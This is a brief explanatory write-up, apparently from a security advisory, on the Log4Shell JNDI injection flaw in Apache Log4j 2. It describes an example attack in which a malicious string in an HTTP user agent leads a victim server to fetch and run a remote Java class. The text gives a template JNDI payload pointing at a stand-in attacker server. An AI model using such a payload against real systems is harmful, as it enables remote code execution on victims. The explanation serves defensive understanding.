Log4Shell JNDI Injection Attempt

Apache Log4j is an open source logging utility that is commonly built into enterprise applications and web servers. Log4j 2 supports Java Naming and Directory Interface (JNDI), which provides the ability to make calls across distributed applications to retrieve a Java class file (essentially executable code). JNDI calls can be performed over several protocols, such as LDAP, DNS, RMI, IIOP, and more. Log4j 2 has a vulnerability in how it performs JNDI calls with untrusted data. To exploit this vulnerability, an attacker injects a malicious JNDI string into any piece of data that can be logged by a victim application. The JNDI string has a syntax similar to ${jndi:[protocol]://[attackerserver.com]/[path]}; although the attacker can modify string values to evade detection. The victim performs a JNDI call to an attacker-controller server, which then forces the victim to download and run a malicious Java class file.

The diagram shows one example scenario. An attacker injects a JNDI string with a malicious LDAP server hostname into the user agent field of an HTTP request [1]. After the victim logs the user agent information, Log4j 2 extracts the hostname from the JNDI string and the victim communicates with the malicious LDAP server [2]. The LDAP server responds by sending the victim a path or location to a malicious Java class file on another attacker-controlled server. The victim downloads the class file from that server and runs the malicious code [3].